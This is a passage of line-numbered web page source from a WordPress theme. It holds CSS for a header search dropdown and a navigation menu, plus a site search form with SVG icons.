1867                  -webkit-transition: all 0.3s ease;
1868                  transition: all 0.3s ease;
1869                }.tdb-header-search-trigger-enabled{
1870                  z-index: 1000;
1871                }.tdb-header-search-trigger-enabled .tdb-head-search-btn{
1872                  display: flex;
1873                  align-items: center;
1874                  position: relative;
1875                  text-align: center;
1876                  color: #4db2ec;
1877                }.tdb-header-search-trigger-enabled .tdb-head-search-btn:after{
1878                  visibility: hidden;
1879                  opacity: 0;
1880                  content: '';
1881                  display: block;
1882                  position: absolute;
1883                  bottom: 0;
1884                  left: 0;
1885                  right: 0;
1886                  margin: 0 auto;
1887                  width: 0;
1888                  height: 0;
1889                  border-style: solid;
1890                  border-width: 0 6.5px 7px 6.5px;
1891                  -webkit-transform: translate3d(0, 20px, 0);
1892                  transform: translate3d(0, 20px, 0);
1893                  -webkit-transition: all 0.4s ease;
1894                  transition: all 0.4s ease;
1895                  border-color: transparent transparent #4db2ec transparent;
1896                }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open + .tdb-head-search-btn:after{
1897                  visibility: visible;
1898                  opacity: 1;
1899                  -webkit-transform: translate3d(0, 0, 0);
1900                  transform: translate3d(0, 0, 0);
1901                }.tdb-header-search-trigger-enabled .tdb-search-icon,
1902                .tdb-header-search-trigger-enabled .tdb-search-txt,
1903                .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{
1904                  -webkit-transition: all 0.3s ease-in-out;
1905                  transition: all 0.3s ease-in-out;
1906                }.tdb-header-search-trigger-enabled .tdb-search-icon-svg{
1907                  display: flex;
1908                  align-items: center;
1909                  justify-content: center;
1910                }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg{
1911                  height: auto;
1912                }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg,
1913                .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{
1914                  fill: #4db2ec;
1915                }.tdb-header-search-trigger-enabled .tdb-search-txt{
1916                  position: relative;
1917                  line-height: 1;
1918                }.tdb-header-search-trigger-enabled .tdb-drop-down-search{
1919                  visibility: hidden;
1920                  opacity: 0;
1921                  position: absolute;
1922                  top: 100%;
1923                  left: 0;
1924                  -webkit-transform: translate3d(0, 20px, 0);
1925                  transform: translate3d(0, 20px, 0);
1926                  -webkit-transition: all 0.4s ease;
1927                  transition: all 0.4s ease;
1928                  pointer-events: none;
1929                  z-index: 10;
1930                }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open{
1931                  visibility: visible;
1932                  opacity: 1;
1933                  -webkit-transform: translate3d(0, 0, 0);
1934                  transform: translate3d(0, 0, 0);
1935                }.tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{
1936                  position: relative;
1937                  max-width: 300px;
1938                  pointer-events: all;
1939                }.rtl .tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{
1940                  margin-left: 0;
1941                  margin-right: auto;
1942                }.tdb_header_search .tdb-aj-srs-title{
1943                    margin-bottom: 10px;
1944                    font-family: 'Roboto', sans-serif;
1945                    font-weight: 500;
1946                    font-size: 13px;
1947                    line-height: 1.3;
1948                    color: #888;
1949                }.tdb_header_search .tdb-aj-sr-taxonomies{
1950                    display: flex;
1951                    flex-direction: column;
1952                }.tdb_header_search .tdb-aj-sr-taxonomy{
1953                    font-family: 'Roboto', sans-serif;
1954                    font-size: 13px;
1955                    font-weight: 500;
1956                    line-height: 18px;
1957                    color: #111;
1958                }.tdb_header_search .tdb-aj-sr-taxonomy:not(:last-child){
1959                    margin-bottom: 5px;
1960                }.tdb_header_search .tdb-aj-sr-taxonomy:hover{
1961                    color: #4db2ec;
1962                }.tdi_27 .tdb-head-search-btn i{
1963                    font-size: 22px;
1964                
1965                    width: 22px;
1966					height: 22px;
1967					line-height:  22px;
1968                
1969                    color: #333333;
1970                }.tdi_27 .tdb-head-search-btn svg{
1971                    width: 22px;
1972                }.tdi_27 .tdb-search-icon-svg{
1973                    width: 22px;
1974					height: 22px;
1975                }.tdi_27{
1976                    display: inline-block;
1977                }.tdi_27 .tdb-search-txt{
1978                    top: 0px;
1979                }.tdi_27 .tdb-drop-down-search{
1980                    top: calc(100% + 28px);
1981                }.tdi_27 .tdb-head-search-btn:after{
1982                    bottom: -28px;
1983                
1984                    border-bottom-color: #ffffff;
1985                }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{
1986                    max-width: 800px;
1987                }.tdi_27 .tdb-search-form{
1988                    padding: 25px;
1989                
1990                    border-width: 0px;
1991                }.tdi_27 .tdb-head-search-form-input,
1992                .tdi_27 .tdb-head-search-placeholder{
1993                    padding: 6px 10px;
1994                }.tdi_27 .tdb-search-form-inner:after{
1995                    border-width: 1px 0 1px 1px ;
1996                
1997                    border-color: rgba(211,219,226,0.7);
1998                }.tdi_27 .tdb-head-search-form-btn svg{
1999                    width: 17px;
2000                }.tdi_27 .tdb-head-search-form-btn-icon{
2001                    margin-right: 8px;
2002                
2003                    top: 1px;
2004                }.tdi_27 .tdb-head-search-form-btn{
2005                    padding: 5px 18px 6px;
2006                
2007                    background-color: #e2b26f;
2008                
2009                    font-family:Bree Serif !important;font-size:13px !important;font-weight:400 !important;text-transform:uppercase !important;
2010                }.tdi_27 .tdb-aj-search-results{
2011                    padding: 10px 25px;
2012                
2013                    border-width: 0px;
2014                }.tdi_27 .result-msg{
2015                    padding: 10px 0 15px;
2016                
2017                    text-align: center;
2018                
2019                    font-family:Noto Sans !important;font-size:13px !important;
2019font-style:normal !important;
2020                }.tdi_27 .tdb-head-search-btn svg,
2021                .tdi_27 .tdb-head-search-btn svg *{
2022                    fill: #333333;
2023                }.tdi_27 .tdb-head-search-btn:hover i{
2024                    color: #e2b26f;
2025                }.tdi_27 .tdb-head-search-btn:hover svg,
2026                .tdi_27 .tdb-head-search-btn:hover svg *{
2027                    fill: #e2b26f;
2028                }.tdi_27 .tdb-drop-down-search-inner{
2029                    box-shadow:  0px 4px 16px 0px rgba(0,0,0,0.1);
2030                }.tdi_27 .tdb-head-search-form-input{
2031                    color: #333333;
2032                
2033                    font-family:Noto Sans !important;font-size:13px !important;
2034                }.tdi_27 .tdb-head-search-form-input.tdb-head-search-nofocus{
2035                    text-shadow: 0 0 0 #333333;
2036                }.tdi_27 .tdb-head-search-placeholder{
2037                    color: #aaaaaa;
2038                
2039                    font-family:Noto Sans !important;font-size:13px !important;
2040                }.tdi_27 .tdb-head-search-form-input:focus + .tdb-head-search-placeholder,
2041                .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{
2042                    opacity: 0.4;
2043                }.tdi_27 .tdb-head-search-form-btn:hover{
2044                    background-color: #333333;
2045                }.tdi_27 .result-msg,
2046                .tdi_27 .result-msg a{
2047                    color: #e2b26f;
2048                }.tdi_27 .result-msg a:hover{
2049                    color: #333333;
2050                }.tdi_27 .td_module_wrap{
2051					width: 33.33333333%;
2052					float: left;
2053				
2054					padding-left: 15px;
2055					padding-right: 15px;
2056				
2057					padding-bottom: 17.5px;
2058					margin-bottom: 17.5px;
2059				}.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2060					margin-bottom: 0;
2061					padding-bottom: 0;
2062				}.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{
2063					display: none;
2064				}.tdi_27 .tdb-aj-search-inner{
2065					margin-left: -15px;
2066					margin-right: -15px;
2067				}.tdi_27 .td-module-container:before{
2068					bottom: -17.5px;
2069				
2070					border-color: #eaeaea;
2071				}.tdi_27 .td-module-container{
2072				    border-color: #eaeaea;
2073				
2074					flex-direction: column;
2075				}.tdi_27 .entry-thumb{
2076					background-position: center 30%;
2077				
2078					border-radius: 5px;
2079				}.tdi_27 .td-image-wrap{
2080					padding-bottom: 60%;
2081				}.tdi_27 .td-image-container{
2082				 	flex: 0 0 100%;
2083				 	width: 100%;
2084			    
2085                	display: block; order: 0;
2086                }.ie10 .tdi_27 .td-image-container,
2087				.ie11 .tdi_27 .td-image-container{
2088				 	flex: 0 0 auto;
2089			    }.ie10 .tdi_27 .td-module-meta-info,
2090				.ie11 .tdi_27 .td-module-meta-info{
2091				 	flex: auto;
2092			    }.tdi_27 .td-post-vid-time{
2093					display: block;
2094				}.tdi_27 .td-module-meta-info{
2095					padding: 16px 4px 4px;
2096				
2097					border-color: #eaeaea;
2098				}.tdi_27 .entry-title{
2099					margin: 0 0 10px 0;
2100				
2101					font-family:Bree Serif !important;font-size:18px !important;line-height:1.2 !important;
2102				}.tdi_27 .td-excerpt{
2103					margin: 0px;
2104				
2105					column-count: 1;
2106				
2107					column-gap: 48px;
2108				
2109					display: none;
2110				}.tdi_27 .td-post-category{
2111					padding: 0px;
2112				
2113					background-color: rgba(255,255,255,0);
2114				
2115					color: #aaaaaa;
2116				
2117					font-family:Noto Sans !important;font-size:11px !important;font-weight:400 !important;text-transform:uppercase !important;
2118				}.tdi_27 .td-read-more{
2119					display: none;
2120				}.tdi_27 .td-author-date{
2121					display: none;
2122				}.tdi_27 .td-post-author-name{
2123					display: none;
2124				}.tdi_27 .td-post-date,
2125				.tdi_27 .td-post-author-name span{
2126					display: none;
2127				}.tdi_27 .entry-review-stars{
2128					display: none;
2129				}.tdi_27 .td-icon-star,
2130                .tdi_27 .td-icon-star-empty,
2131                .tdi_27 .td-icon-star-half{
2132					font-size: 15px;
2133				}.tdi_27 .td-module-comments{
2134					display: none;
2135				}.tdi_27 .tdb-author-photo .avatar{
2136				    width: 20px;
2137				    height: 20px;
2138				
2139				    margin-right: 6px;
2140				
2141				    border-radius: 50%;
2142				}.tdi_27 .td-post-category:hover{
2143					background-color: rgba(255,255,255,0) !important;
2144				
2145					color: #333333;
2146				}.tdi_27 .td-module-title a{
2147					color: #333333;
2148				
2149                    box-shadow: inset 0 0 0 0 #000;
2150                }body .tdi_27 .td_module_wrap:hover .td-module-title a,
2151				.tdi_27 .tdb-aj-cur-element .entry-title a{
2152					color: #e2b26f !important;
2153				}@media (min-width: 768px) {
2154                    .tdi_27 .td-module-title a {
2155                        transition: all 0.2s ease;
2156                        -webkit-transition: all 0.2s ease;
2157                    }
2158                }
2159
2160/* landscape */
2161@media (min-width: 1019px) and (max-width: 1140px){
2162.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{
2163                    max-width: 620px;
2164                }.tdi_27 .tdb-search-form{
2165                    padding: 22px;
2166                }.tdi_27 .tdb-head-search-form-input,
2167                .tdi_27 .tdb-head-search-placeholder{
2168                    padding: 4px 10p;
2169                }.tdi_27 .tdb-head-search-form-btn{
2170                    padding: 4px 18px;
2171                }.tdi_27 .tdb-aj-search-results{
2172                    padding: 10px 22px;
2173                }.tdi_27 .td_module_wrap{
2174					padding-bottom: 15px !important;
2175					margin-bottom: 15px !important;
2176				
2177					padding-left: 12.5px;
2178					padding-right: 12.5px;
2179				
2180					padding-bottom: 15px;
2181					margin-bottom: 15px;
2182				}.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2183					margin-bottom: 0 !important;
2184					padding-bottom: 0 !important;
2185				}.tdi_27 .td_module_wrap .td-module-container:before{
2186					display: block !important;
2187				}.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{
2188					display: none !important;
2189				}.tdi_27 .tdb-aj-search-inner{
2190					margin-left: -12.5px;
2191					margin-right: -12.5px;
2192				}.tdi_27 .td-module-container:before{
2193					bottom: -15px;
2194				}.tdi_27 .td-module-title a{
2195                    box-shadow: inset 0 0 0 0 #000;
2196                }.tdi_27 .entry-title{
2197					font-family:Bree Serif !important;font-size:16px !important;line-height:1.2 !important;
2198				}@media (min-width: 768px) {
2199                    .tdi_27 .td-module-title a {
2200                        transition: all 0.2s ease;
2201                        -webkit-transition: all 0.2s ease;
2202                    }
2203                }
2204}
2205
2206/* portrait */
2207@media (min-width: 768px) and (max-width: 1018px){
2208.tdi_27 .tdb-head-search-btn i{
2209                    font-size: 18px;
2210                
2211                    width: 18px;
2212					height: 18px;
2213					line-height:  18px;
2214                }.tdi_27 .tdb-head-search-btn svg{
2215                    width: 18px;
2216                }.tdi_27 .tdb-search-icon-svg{
2217                    width: 18px;
2218					height: 18px;
2219                }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{
2220                    max-width: 500px;
2221                }.tdi_27 .tdb-search-form{
2222                    padding: 20px;
2223                }.tdi_27 .tdb-aj-search-results{
2224                    padding: 5px 20px;
2225                }.tdi_27 .td_module_wrap{
2226					padding-bottom: 12.5px !important;
2227					margin-bottom: 12.5px !important;
2228				
2229					padding-left: 10px;
2230					padding-right: 10px;
2231				
2232					padding-bottom: 12.5px;
2233					margin-bottom: 12.5px;
2234				}.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2235					margin-bottom: 0 !important;
2236					padding-bottom: 0 !important;
2237				}.tdi_27 .td_module_wrap .td-module-container:before{
2238					display: block !important;
2239				}.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{
2240					display: none !important;
2241				}.tdi_27 .tdb-aj-search-inner{
2242					margin-left: -10px;
2243					margin-right: -10px;
2244				}.tdi_27 .td-module-container:before{
2245					bottom: -12.5px;
2246				}.tdi_27 .td-module-meta-info{
2247					padding: 12px 3px 3px;
2248				}.tdi_27 .td-module-title a{
2249                    box-shadow: inset 0 0 0 0 #000;
2250                }.tdi_27 .td-module-container:hover .td-module-title a{
2251                    box-shadow: inset 0 -2px 0 0 #000;
2252                }.tdi_27 .entry-title{
2253					font-family:Bree Serif !important;font-size:14px !important;line-height:1.2 !important;
2254				}.tdi_27 .td-post-category{
2255					font-family:Noto Sans !important;font-size:10px !important;font-weight:400 !important;text-transform:uppercase !important;
2256				}@media (min-width: 768px) {
2257                    .tdi_27 .td-module-title a {
2258                        transition: all 0.2s ease;
2259                        -webkit-transition: all 0.2s ease;
2260                    }
2261                }
2262}
2263
2264/* phone */
2265@media (max-width: 767px){
2266.tdi_27 .td_module_wrap{
2267					padding-bottom: 17.5px !important;
2268					margin-bottom: 17.5px !important;
2269				
2270					padding-bottom: 17.5px;
2271					margin-bottom: 17.5px;
2272				}.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2273					margin-bottom: 0 !important;
2274					padding-bottom: 0 !important;
2275				}.tdi_27 .td_module_wrap .td-module-container:before{
2276					display: block !important;
2277				}.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{
2278					display: none !important;
2279				}.tdi_27 .td-module-container:before{
2280					bottom: -17.5px;
2281				}.tdi_27 .td-module-title a{
2282                    box-shadow: inset 0 0 0 0 #000;
2283                }@media (min-width: 768px) {
2284                    .tdi_27 .td-module-title a {
2285                        transition: all 0.2s ease;
2286                        -webkit-transition: all 0.2s ease;
2287                    }
2288                }
2289}
2290</style><div class="tdb-block-inner td-fix-index"><div class="tdb-drop-down-search" aria-labelledby="td-header-search-button"><div class="tdb-drop-down-search-inner"><form method="get" class="tdb-search-form" action="https://thedailypump.
2290com/"><div class="tdb-search-form-inner"><input class="tdb-head-search-form-input" placeholder=" " type="text" value="" name="s" autocomplete="off" /><input type="hidden" value="post" name="post_type" /><button class="wpb_button wpb_btn-inverse btn tdb-head-search-form-btn" type="submit"><span class="tdb-head-search-form-btn-icon tdb-head-search-form-btn-icon-svg"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M16.384 495.543h992.256v51.2h-992.256v-51.2z"></path></svg></span><span>Search</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Search" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><span class="tdb-search-icon tdb-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.020 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_29  wpb_column vc_column_container tdc-column td-pb-span9">
2291<style scoped>
2292
2293/* custom css */
2294.tdi_29{
2295                    vertical-align: baseline;
2296                }.tdi_29 > .wpb_wrapper,
2297				.tdi_29 > .wpb_wrapper > .tdc-elements{
2298				    display: block;
2299				}.tdi_29 > .wpb_wrapper > .tdc-elements{
2300				    width: 100%;
2301				}.tdi_29 > .wpb_wrapper > .vc_row_inner{
2302				    width: auto;
2303				}.tdi_29 > .wpb_wrapper{
2304				    width: auto;
2305				    height: auto;
2306				}
2307/* inline tdc_css att */
2308
2309.tdi_29{
2310width:80% !important;
2311justify-content:flex-end !important;
2312text-align:right !important;
2313}
2314
2315/* landscape */
2316@media (min-width: 1019px) and (max-width: 1140px)
2317{
2318.tdi_29{
2319width:78% !important;
2320}
2321}
2322
2323/* portrait */
2324@media (min-width: 768px) and (max-width: 1018px)
2325{
2326.tdi_29{
2327width:76% !important;
2328}
2329}
2330
2331</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_menu tdi_30 tds_menu_active1 tds_menu_sub_active1 tdb-head-menu-inline tdb-mm-align-screen td-pb-border-top td-mega-menu-articles td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_30"  style=" z-index: 999;">
2332<style>
2333/* custom css */
2334.tdb_header_menu{
2335                  margin-bottom: 0;
2336                  z-index: 999;
2337                  clear: none;
2338                }.tdb_header_menu .tdb-main-sub-icon-fake,
2339                .tdb_header_menu .tdb-sub-icon-fake{
2340                    display: none;
2341                }.rtl .tdb_header_menu .tdb-menu{
2342                  display: flex;
2343                }.tdb_header_menu .tdb-menu{
2344                  display: inline-block;
2345                  vertical-align: middle;
2346                  margin: 0;
2347                }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive,
2348                .tdb_header_menu .tdb-menu .tdb-menu-item-inactive{
2349                  pointer-events: none;
2350                }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive > ul,
2351                .tdb_header_menu .tdb-menu .tdb-menu-item-inactive > ul{
2352                  visibility: hidden;
2353                  opacity: 0;
2354                }.tdb_header_menu .tdb-menu .sub-menu{
2355                  font-size: 14px;
2356                
2357                  position: absolute;
2358                  top: -999em;
2359                  background-color: #fff;
2360                  z-index: 99;
2361                }.tdb_header_menu .tdb-menu .sub-menu > li{
2362                  list-style-type: none;
2363                  margin: 0;
2364                  font-family: 'Open Sans', 'Open Sans Regular', sans-serif;
2365                }.tdb_header_menu .tdb-menu > li{
2366                  float: left;
2367                  list-style-type: none;
2368                  margin: 0;
2369                }.tdb_header_menu .tdb-menu > li > a{
2370                  position: relative;
2371                  display: inline-block;
2372                  padding: 0 14px;
2373                  font-weight: 700;
2374                  font-size: 14px;
2375                  line-height: 48px;
2376                  vertical-align: middle;
2377                  text-transform: uppercase;
2378                  -webkit-backface-visibility: hidden;
2379                  color: #000;
2380                  font-family: 'Open Sans', 'Open Sans Regular', sans-serif;
2381                }.tdb_header_menu .tdb-menu > li > a:after{
2382                  content: '';
2383                  position: absolute;
2384                  bottom: 0;
2385                  left: 0;
2386                  right: 0;
2387                  margin: 0 auto;
2388                  width: 0;
2389                  height: 3px;
2390                  background-color: #4db2ec;
2391                  -webkit-transform: translate3d(0, 0, 0);
2392                  transform: translate3d(0, 0, 0);
2393                  -webkit-transition: width 0.2s ease;
2394                  transition: width 0.2s ease;
2395                }.tdb_header_menu .tdb-menu > li > a > .tdb-menu-item-text{
2396                  display: inline-block;
2397                }.tdb_header_menu .tdb-menu > li > a .tdb-menu-item-text,
2398                .tdb_header_menu .tdb-menu > li > a span{
2399                  vertical-align: middle;
2400                  float: left;
2401                }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon{
2402                  margin: 0 0 0 7px;
2403                }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg{
2404                  float: none;
2405                  line-height: 0;
2406                }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg{
2407                  width: 14px;
2408                  height: auto;
2409                }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg,
2410                .tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *{
2411                  fill: #000;
2412                }.tdb_header_menu .tdb-menu > li.current-menu-item > a:after,
2413                .tdb_header_menu .tdb-menu > li.current-menu-ancestor > a:after,
2414                .tdb_header_menu .tdb-menu > li.current-category-ancestor > a:after,
2415                .tdb_header_menu .tdb-menu > li:hover > a:after,
2416                .tdb_header_menu .tdb-menu > li.tdb-hover > a:after{
2417                  width: 100%;
2418                }.tdb_header_menu .tdb-menu > li:hover > ul,
2419                .tdb_header_menu .tdb-menu > li.tdb-hover > ul{
2420                  top: auto;
2421                  display: block !important;
2422                }.tdb_header_menu .tdb-menu > li.td-normal-menu > ul.sub-menu{
2423                  top: auto;
2424                  left: 0;
2425                  z-index: 99;
2426                }.tdb_header_menu .tdb-menu > li .tdb-menu-sep{
2427                  position: relative;
2428                  vertical-align: middle;
2429                  font-size: 14px;
2430                }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg{
2431                  line-height: 0;
2432                }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg svg{
2433                  width: 14px;
2434                  height: auto;
2435                }.tdb_header_menu .tdb-menu > li:last-child .tdb-menu-sep{
2436                  display: none;
2437                }.tdb_header_menu .tdb-menu-item-text{
2438                  word-wrap: break-word;
2439                }.tdb_header_menu .tdb-menu-item-text,
2440                .tdb_header_menu .tdb-sub-menu-icon,
2441                .tdb_header_menu .tdb-menu-more-subicon{
2442                  vertical-align: middle;
2443                }.tdb_header_menu .tdb-sub-menu-icon,
2444                .tdb_header_menu .tdb-menu-more-subicon{
2445                  position: relative;
2446                  top: 0;
2447                  padding-left: 0;
2448                }.tdb_header_menu .tdb-normal-menu{
2449                  position: relative;
2450                }.tdb_header_menu .tdb-normal-menu ul{
2451                  left: 0;
2452                  padding: 15px 0;
2453                  text-align: left;
2454                }.tdb_header_menu .tdb-normal-menu ul ul{
2455                  margin-top: -15px;
2456                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item{
2457                  position: relative;
2458                  list-style-type: none;
2459                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a{
2460                  position: relative;
2461                  display: block;
2462                  padding: 7px 30px;
2463                  font-size: 12px;
2464                  line-height: 20px;
2465                  color: #111;
2466                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon,
2467                .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{
2468                  position: absolute;
2469                  top: 50%;
2470                  -webkit-transform: translateY(-50%);
2471                  transform: translateY(-50%);
2472                  right: 0;
2473                  padding-right: inherit;
2474                  font-size: 7px;
2475                  line-height: 20px;
2476                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg,
2477                .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg{
2478                  line-height: 0;
2479                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg,
2480                .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg svg{
2481                  width: 7px;
2482                  height: auto;
2483                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg,
2484                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *,
2485                .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg,
2486                .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg *{
2487                  fill: #000;
2488                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > ul,
2489                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > ul{
2490                  top: 0;
2491                  display: block !important;
2492                }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-item > a,
2493                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-ancestor > a,
2494                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-category-ancestor > a,
2495                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > a,
2496                .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > a{
2497                  color: #4db2ec;
2498                }.tdb_header_menu .tdb-normal-menu > ul{
2499                  left: -15px;
2500                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul,
2501                .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{
2502                  width: 100% !important;
2503                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul li,
2504                .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list li{
2505                  display: inline-block;
2506                  width: auto !important;
2507                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu,
2508                .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item{
2509                  position: static;
2510                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul ul{
2511                  margin-top: 0 !important;
2512                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu > ul{
2513                  left: 0 !important;
2514                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item > a .tdb-sub-menu-icon{
2515                  float: none;
2516                  line-height: 1;
2517                }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item:hover > ul,
2518                .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item.tdb-hover > ul{
2519                  top: 100%;
2520                }.tdb_header_menu.tdb-menu-sub-inline .tdb-menu-items-dropdown{
2521                  position: static;
2522                }.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{
2523                  left: 0 !important;
2524                }.tdb-menu .tdb-mega-menu .sub-menu{
2525                  -webkit-transition: opacity 0.3s ease;
2526                  transition: opacity 0.3s ease;
2527                  width: 1114px !important;
2528                }.tdb-menu .tdb-mega-menu .sub-menu,
2529                .tdb-menu .tdb-mega-menu .sub-menu > li{
2530                  position: absolute;
2531                  left: 50%;
2532                  -webkit-transform: translateX(-50%);
2533                  transform: translateX(-50%);
2534                }.tdb-menu .tdb-mega-menu .sub-menu > li{
2535                  top: 0;
2536                  width: 100%;
2537                  max-width: 1114px !important;
2538                  height: auto;
2539                  background-color: #fff;
2540                  border: 1px solid #eaeaea;
2541                  overflow: hidden;
2542                }.tdc-dragged .tdb-block-menu ul{
2543                  visibility: hidden !important;
2544                  opacity: 0 !important;
2545                  -webkit-transition: all 0.3s ease;
2546                  transition: all 0.3s ease;
2547                }.tdb-mm-align-screen .tdb-menu .tdb-mega-menu .sub-menu{
2548                  -webkit-transform: translateX(0);
2549                  transform: translateX(0);
2550                }.tdb-mm-align-parent .tdb-menu .tdb-mega-menu{
2551                  position: relative;
2552                }.tdi_30{
2553                    display: inline-block;
2554                }.tdi_30 .tdb-menu > li{
2555                    margin-right: 25px;
2556                }.tdi_30 .tdb-menu > li:last-child{
2557                    margin-right: 0;
2558                }.tdi_30 .tdb-menu-items-dropdown{
2559                    margin-left: 25px;
2560                }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{
2561                    margin-left: 0;
2562                }.tdi_30 .tdb-menu > li > a,
2563                .tdi_30 .td-subcat-more{
2564                    padding: 0 5px;
2565                
2566                    color: #22b573;
2567                }.tdi_30 .tdb-menu > li .tdb-menu-sep,
2568                .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep{
2569                    top: 0px;
2570                
2571                    color: #ffffff;
2572                }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon,
2573                .tdi_30 .td-subcat-more .tdb-menu-more-subicon{
2574                    margin-left: 10px;
2575                
2576                    top: 0px;
2577                
2578                    color: #ffffff;
2579                }.tdi_30 .td-subcat-more .tdb-menu-more-icon{
2580                    top: 0px;
2581                
2582                    color: #ffffff;
2583                }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg,
2584                .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *,
2585                .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg,
2586                .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *,
2587                .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg,
2588                .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{
2589                    fill: #22b573;
2590                }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg,
2591             
2591   .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *,
2592                .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg,
